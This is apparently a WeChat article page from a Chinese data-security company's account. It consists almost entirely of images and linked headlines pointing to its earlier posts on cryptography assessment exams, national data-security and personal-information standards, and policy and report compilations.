+![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载！密评联委会发布《测评实施指引》《测评工具指引》](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560448&idx=1&sn=e7b24882bcdf1f5fe7f186630c021356&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCmoCpRJPduZ0GoQamibRhcnsMvxkfArReDoSjMImicyQJzL4icam6cJJnEBRXSoEtbib5JUczHicGicH8Q/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[抽查! 国家密码局随机抽查事项清单2024版发布(附100页依据图解)](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551904&idx=1&sn=e917868694cb80aef65ac22e4d9a3853&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaD2tvO32OLahbsN4qG0rsaqaV2yYsbxDTpY7JomUNnia1036DDd97ADLNJOF7JzACJvpCGIVqNcUCg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[国密局2024密评师考试开始报名！备考资料包速下载](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247559854&idx=1&sn=cf1fc282a3500467a4170abe2014c8a0&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaD0QUb3RKNGn5lhSib5NG0goQo87gmgMmJujHdu53SwstJwI5bic58QtXiavRjiatz1r1lV1ov7qotyibA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[天津密码局发布密评人员考核报名通知，考核拟于12月下旬开展！](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560458&idx=1&sn=53a741ccbd137003d7c278c588205053&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAHZiatXBUghxYJtj1xJBxO2UeHqqdibq8Fwgttia1yyjlq2RmSWaWXsibn3tWoZxDPS6FLohdicnldISA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[倒计时4天！2024年12月21日举行密评师考试](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247561054&idx=1&sn=eeb77493160f2356a0605a061a9c23c6&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAWt6QMSA16B9RibNO0RVtIkEXmrPnQJuIIOYvZUrYx5uecb8xA6ibE9MsyNSWNb4KwuyhxKDxpW60Q/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[2024年密评从业人员考核成绩查询明日开启](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247566458&idx=1&sn=14e5533b983f5f7fa067445d42da193c&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCRrHH04WItFYC4WiaoQIeJ7meic1UrKTIMsoORkNqrKZHicic89M4y5WeDA1nNR3WqpQk439Hr9z1kdw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + +**政策合集篇** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + +**标准剖析** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载｜历经24年累计419项网络与数据安全国标全景剖析](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547435&idx=1&sn=027a60e5e7aeb4604b0f525bd2516420&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCAMH4VQoA8nBTtSUOxRaN5ejU2fXeo9Z2Zqnzfy0AIZ8Zaxh1LI5ibN7D6fUnszdXYz9FRtnKFcPQ/640?wx_fmt=other&from=appmsg&random=0.5064031652148238&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 密评密改实施、移动新场景等25项密码新标准全文来了](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551403&idx=1&sn=a608ce26d3e560dd7f44ea53022bba23&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDZjRicwMj5CtSoddmNoL0iaJXLdDChmzSNfpko4S2VkvcxHZQMAUJOgOAQRT7LUbzJNxiaaeu3cMUZw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 《248项密码标准全景图（2024版）》来了](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551656&idx=1&sn=042f12bef7253a95c28ee83617328232&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCRTBDEUu41kDoaeJu6TIrTmaOuicyFGJkzwqRXXpzcYhgd9BYft70EicoaTHica1U1Tro3ORklLxWibg/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载！《168项电信和互联网数据安全标准全景图(2024)》来了](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247552309&idx=1&sn=0336d7f9c9bf763ab7bebd4a4f95dbc3&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBVRCO7oylZOYpalDbHCeFjIvMvr5pEr9JaZHo5BNU4x0jQzP6cJzvoXY5MnE4ianDXrBF5z5tl6oQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[保卫供应链安全！8项汽车强制国标公开，3项涉及网络与数据安全](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247555904&idx=1&sn=da5bf17ed9bcf63a2c1ac90f82d48389&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaC7D8rLdicdzxrhcBSyGVEWVH4GyBQFlawcsSfMj1nfTsgCaMTWozUsfCbicE84Hf2s04nSmosrUqKw/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[200页图解国标《数据分类分级规则》正式稿，强化重要数据识别](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247545874&idx=1&sn=f1fa27b9035d759060e41a75e6a243ec&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaClUUPtEhIyI298sTOhicibPapc67c0t1ylkCyqw2pSKnGsnQLhjXaLYDRDibSOrgzLMrglFcEmoT45A/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载｜200页幻灯片图解新国标《数据分类分级规则》（历史文章供参考）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247543316&idx=1&sn=d601c4bb365798456bf0db7234dbe275&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDh45gayrXWeb7jDvTjjnBA7iabDXtWrUrpnSkDiawOmulJErEReKKMMD5bVGmdo6ODDgcvhia0ZuAnw/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 300页图解《敏感个人信息识别指南》附修订对照](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247555685&idx=1&sn=051ab6ecca53a3dac6cff0e063a2d7e9&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDTKsdzLicyb5plhbfS6kvQFx9JtR1PNvBaB0T8wm2jye0GMkibPBsiboSk3c0V5rMDqv8yD0AWS18wg/640?wx_fmt=png&from=appmsg&random=0.9894776582724736&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 300页图解网安标委《敏感个人信息识别指南（征）》（历史文章供参考）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549842&idx=1&sn=b1ac2a5e0196a7172f1c2841f29bbf6d&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDSZdpWSqWQNhFeH99zlwYIrvj9RT2n7MmP5sRh28GLxAgIgmXcjBWAUjcjrSuKFdXCmRNw0qXia2g/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[汽车密码应用强制性国标立项](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560992&idx=1&sn=91c6f91a55f58292ab699809d6064a8a&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaAWt6QMSA16B9RibNO0RVtIkzJADjWn6nib8D0ESpN26WAfiaQ7cekfRv7e4XFEXVKg4BLIkuFx5WIew/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[警惕泄密! 打响国家基因数据保卫战](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247554010&idx=1&sn=a26a67b942e70479f1ccaff7dd80208b&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCIbiaeP2lRibu4n7r2dVUb11zbpjuUzkd5os9tYDzibWFZXDepNdDnVyiaBIicjibMCHddNS4cpghbh4fg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + +**行业政策** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2Baa4Pdr0FgtX6qQLkGGwBSEeicWlAYHKnfoYBJoAntibsJO5Lxibm3iambA/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[2023全年240项网络与数据安全政策、国标、报告合集](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247534789&idx=1&sn=462a328d89226260abf4687aba9cb6a6&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaBcODLb3gkv8TUE1fBrRKFMGPucsXPYcGzZxYOkzQMsmDHicKsHUs0BNVqhHCic9FQW2z8C6V5yuaYQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[历经23年130项电信数据安全法规政策大合集（附下载）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247537580&idx=1&sn=a2a195405a3bec7b2317170fa4b9a50b&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB8qBBhdO81gcf5fIKrn90Ok1e1GiaBEUapuqzy7I6Q4qlSYrPV79Y0Ufc7zUwWf0Pm0U8lQnArXiaA/640?wx_fmt=png&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载 | 100项能源领域网络与数据安全政策全集(2024版)](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247547897&idx=1&sn=b67f982667333053ed1301c61ecf6574&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaB0nhkkliaPPX3Xw6oHbrxCmyLicLFI9aWe7xYNaCCH8iarSrOqMCOkoIKrjRXD7knZ5B9E39Ria1JEicg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载 | 图解我国未成年人数据保护法规全集(2024版)](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247548924&idx=1&sn=072a8e456ee0adcedddbc819c2538045&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaARG29hlJ3TDFwxPcuEx6fia0C3gR9ib3SibhRrf9UibZmgHuCiaftjxNt8qFqticmkQtZVicElY4oQediaMA/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载 | 2024上半年网络与数据安全法规政策、国标、报告合集](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247551229&idx=1&sn=13f5333cbf2bc086f88bd7427d30041f&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCslPNcsme7PVVvxFPwhVTjmNHaLeD9DiaRLejPAyGbVAac6ypxpkRiaic8j0Z7OwcvpibtvnnrneUVZQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载！智能网联汽车数据安全最新政策合集（2024版）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247552460&idx=1&sn=3591dff063c441f90895f123737595eb&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaAZicJMCx7w7libxX4t4ajviaj9GExgfqMy5blGUzgTmpH3kgXuYVqqThrVLw7ribjLbqGibcxIZJfD1Iw/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[《个人信息保护法》三周年 | 365项政策标准报告全集(附下载)](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247557768&idx=1&sn=4a25dc677ab66df3f0cdf3dd21d30bef&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaBYkQjftRQDWT3mp48Vsprte2UthGnNjfcRUyrOUYWCGnePIpv331icgm0zkx58ORiaY1aufVQfv7cQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[三期全汇总 | 29家企业78款产品入围国测“安全可靠测评”名单](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247558630&idx=1&sn=8e9c005ed3497b3ca5923c6775c8653c&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaD54q9KxZy52Y7tOIf9zcIbjpjExoHianCY4GmIESzjUDYcJQhIp7pKXnespibMsaqbVeqW1nvv1FYQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[速下载！工信部数据安全80多项国标行标全文公开](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247561336&idx=1&sn=22bc110be12706fd797e71f73bbe3332&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCt2rNekkicycrVxbyQjeksluSakZYMmfyEyFzvHkrPRRJeoWECUTFvNpc0sZuSicheiaCv2Qzz2MwrA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + +**报告观点篇** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BCl3ETlbib7JaEibXooUaPpz4XbMVIS4t2Y6Bia7pbS6zoI3LXM6skXpVg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[2021-2023数据安全司法执法案件盘点报告（附下载）](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247542885&idx=1&sn=14cf7e4d55003f4365d2a0d3cef9c5eb&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaDc8icrJol8zNE4Gv2el8WHSlxuAbnrlecwGiaEsvj5DEHnrB3yCGvOht33oRIKBcsOy8gEJXxAUibtg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载 | 六大洲14国140项数据安全及跨境法规汇总分析(2024版)](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247549386&idx=1&sn=a0f6824a25df5747555f6ad450804547&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAZ34zlTCmeokbnpEW1YuAuJBicfatFCB2Tc2Lmq9kUkpYpDd5G1xIkmRPr8o39bwV3ra4mA1ibiaS2g/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[2024外滩大会 | 免改造技术解决数据安全第一性问题](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247555303&idx=1&sn=e3ee857a0e6c824ee903a0a028904419&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaA3nnU5Kj9ZVXicqgfNaibEloDBuyNC9Pn5pvT73BO6XNdsnwZgLEprXh8IMISCxkaw5k1omuHGfD1g/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石亮相密码丰会，探索从密码合规到数据安全实战防护](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247558937&idx=1&sn=584fc62af1fb5f1b4eda2cc8b1f07b69&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAoy0ku1zBJ2aws96eqwo58iaCs88icYiaOLYtM0tyblF5Wn3EDicURGAVjzwWojO6ibjy1sXe3C0TW0JA/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石参编《数据安全风险评估实务：问题剖析与解决思路》发布](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247535631&idx=1&sn=1469dac838a964d498efb12157e05b7d&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAJxf96yYz8JKhVV69cbLZpYWYFH7Dv2icKmtdPrnzVibsjhP0juAHcAqwYzj8RsBZle9VAN351nMPg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[炼石参编《2023网信自主创新调研报告》正式发布｜附下载](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247546884&idx=1&sn=23f6282172b716906b20f40bdca911c6&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t7pXu8YpjiaAWtbqMa7IwYtiahuiamETa2XgvWwNem1vAyYzlnkIumPQQPePN2T9yswicYwMibnicDicmFIyIhlT24Iww/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaCia7HCZSIqBick1lfZtcAR2BicfZVuLu1kugYIxISpKJ0tzicbqYTdGScpwd7meiaVeyaRLnTEFAs0nibQ/640?wx_fmt=jpeg&from=appmsg "") + +[附下载！炼石参编工业数据安全脱敏标准发布](https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247560967&idx=1&sn=edc2b9e31ed1952c94e297433fb3e27b&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/t7pXu8YpjiaDxsRL6uMuuMkTGQjnof8QRYibibDQayttOcxq7ibYyhHz0iaaznuHrYoIKrUgMbjCUQm2Z9aZrD5DZEw/640?wx_fmt=jpeg&from=appmsg&wxfrom=13 "") + 